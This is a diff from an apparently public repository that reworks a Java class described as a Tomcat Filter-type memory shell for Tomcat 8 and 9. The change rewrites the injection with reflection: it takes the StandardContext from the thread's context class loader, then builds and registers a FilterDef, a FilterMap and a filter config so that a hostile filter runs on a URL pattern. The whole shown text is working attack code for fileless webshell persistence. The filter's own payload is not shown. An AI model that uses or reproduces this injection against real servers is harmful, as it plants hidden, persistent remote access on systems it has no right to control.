99
1010/**
1111 * @author Whoopsunix
12+ *
1213 * ContextClassLoader 注入 Tomcat Filter 型内存马
1314 * Tomcat 8 9
1415 */
@@ -24,21 +25,24 @@ public TomcatFilterContextClassMS() {
2425 static {
2526 try {
2627 // 获取 standardContext
27- org .apache .catalina .loader .WebappClassLoaderBase webappClassLoaderBase = (org .apache .catalina .loader .WebappClassLoaderBase ) Thread .currentThread ().getContextClassLoader ();
28- org .apache .catalina .core .StandardContext standardContext ;
28+ // org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
29+ // org.apache.catalina.core.StandardContext standardContext;
30+ Object webappClassLoaderBase = Thread .currentThread ().getContextClassLoader ();
31+ Object standardContext ;
2932 try {
3033 Method getResourcesmethod = webappClassLoaderBase .getClass ().getDeclaredMethod ("getResources" );
3134 getResourcesmethod .setAccessible (true );
3235 Object resources = getResourcesmethod .invoke (webappClassLoaderBase );
3336 Method getContextmethod = resources .getClass ().getDeclaredMethod ("getContext" );
3437 getContextmethod .setAccessible (true );
35- standardContext = ( org . apache . catalina . core . StandardContext ) getContextmethod .invoke (resources );
38+ standardContext = getContextmethod .invoke (resources );
3639 } catch (Exception ignored ) {
3740 Object root = getFieldValue (webappClassLoaderBase , "resources" );
38- standardContext = ( org . apache . catalina . core . StandardContext ) getFieldValue (root , "context" );
41+ standardContext = getFieldValue (root , "context" );
3942 }
4043
41- org .apache .tomcat .util .descriptor .web .FilterDef filterDef = standardContext .findFilterDef (NAME );
44+ // org.apache.tomcat.util.descriptor.web.FilterDef filterDef = standardContext.findFilterDef(NAME);
45+ Object filterDef = standardContext .getClass ().getDeclaredMethod ("findFilterDef" , String .class ).invoke (standardContext , NAME );
4246 if (filterDef == null ) {
4347 TomcatFilterContextClassMS filterMemShell = new TomcatFilterContextClassMS ();
4448// // M1 ApplicationContext 方式注册
@@ -57,28 +61,42 @@ public TomcatFilterContextClassMS() {
5761
5862 // M2
5963 // 添加 filterDef
60- filterDef = new org .apache .tomcat .util .descriptor .web .FilterDef ();
61- filterDef .setFilterName (NAME );
62- filterDef .setFilterClass (filterMemShell .getClass ().getName ());
63- filterDef .setFilter (filterMemShell );
64- standardContext .addFilterDef (filterDef );
64+ // filterDef = new org.apache.tomcat.util.descriptor.web.FilterDef();
65+ // filterDef.setFilterName(NAME);
66+ // filterDef.setFilterClass(filterMemShell.getClass().getName());
67+ // filterDef.setFilter(filterMemShell);
68+ // standardContext.addFilterDef(filterDef);
69+ filterDef = Class .forName ("org.apache.tomcat.util.descriptor.web.FilterDef" ).newInstance ();
70+ filterDef .getClass ().getDeclaredMethod ("setFilterName" , String .class ).invoke (filterDef , NAME );
71+ filterDef .getClass ().getDeclaredMethod ("setFilterClass" , String .class ).invoke (filterDef , filterMemShell .getClass ().getName ());
72+ filterDef .getClass ().getDeclaredMethod ("setFilter" , Filter .class ).invoke (filterDef , filterMemShell );
73+ standardContext .getClass ().getDeclaredMethod ("addFilterDef" , filterDef .getClass ()).invoke (standardContext , filterDef );
6574
6675 // 添加 filterMap
67- org .apache .tomcat .util .descriptor .web .FilterMap filterMap = new org .apache .tomcat .util .descriptor .web .FilterMap ();
68- filterMap .setFilterName (NAME );
69- filterMap .addURLPattern (pattern );
70- filterMap .setDispatcher (DispatcherType .REQUEST .name ());
71- standardContext .addFilterMapBefore (filterMap );
76+ // org.apache.tomcat.util.descriptor.web.FilterMap filterMap = new org.apache.tomcat.util.descriptor.web.FilterMap();
77+ // filterMap.setFilterName(NAME);
78+ // filterMap.addURLPattern(pattern);
79+ // filterMap.setDispatcher(DispatcherType.REQUEST.name());
80+ // standardContext.addFilterMapBefore(filterMap);
81+ Object filterMap = Class .forName ("org.apache.tomcat.util.descriptor.web.FilterMap" ).newInstance ();
82+ filterMap .getClass ().getDeclaredMethod ("setFilterName" , String .class ).invoke (filterMap , NAME );
83+ filterMap .getClass ().getDeclaredMethod ("addURLPattern" , String .class ).invoke (filterMap , pattern );
84+ filterMap .getClass ().getDeclaredMethod ("setDispatcher" , String .class ).invoke (filterMap , "REQUEST" );
85+ standardContext .getClass ().getDeclaredMethod ("addFilterMapBefore" , filterMap .getClass ()).invoke (standardContext , filterMap );
7286
7387 // 添加 filterConfig
88+ // java.util.Map filterConfigs = (java.util.Map) getFieldValue(standardContext, "filterConfigs");
89+ // java.lang.reflect.Constructor constructor = org.apache.catalina.core.ApplicationFilterConfig.class.getDeclaredConstructor(org.apache.catalina.Context.class, org.apache.tomcat.util.descriptor.web.FilterDef.class);
90+ // constructor.setAccessible(true);
91+ // org.apache.catalina.core.ApplicationFilterConfig filterConfig = (org.apache.catalina.core.ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
92+ // filterConfigs.put(NAME, filterConfig);
7493 java .util .Map filterConfigs = (java .util .Map ) getFieldValue (standardContext , "filterConfigs" );
75- java .lang .reflect .Constructor constructor = org .apache .catalina .core .ApplicationFilterConfig . class .getDeclaredConstructor (org .apache .catalina .Context .class , org .apache .tomcat .util .descriptor .web .FilterDef .class );
94+ java .lang .reflect .Constructor constructor = Class . forName ( " org.apache.catalina.core.ApplicationFilterConfig" ) .getDeclaredConstructor (org .apache .catalina .Context .class , org .apache .tomcat .util .descriptor .web .FilterDef .class );
7695 constructor .setAccessible (true );
77- org . apache . catalina . core . ApplicationFilterConfig filterConfig = ( org . apache . catalina . core . ApplicationFilterConfig ) constructor .newInstance (standardContext , filterDef );
96+ Object filterConfig = constructor .newInstance (standardContext , filterDef );
7897 filterConfigs .put (NAME , filterConfig );
7998 }
8099 } catch (Exception e ) {
81-
82100 }
83101 }
84102
0 commit comments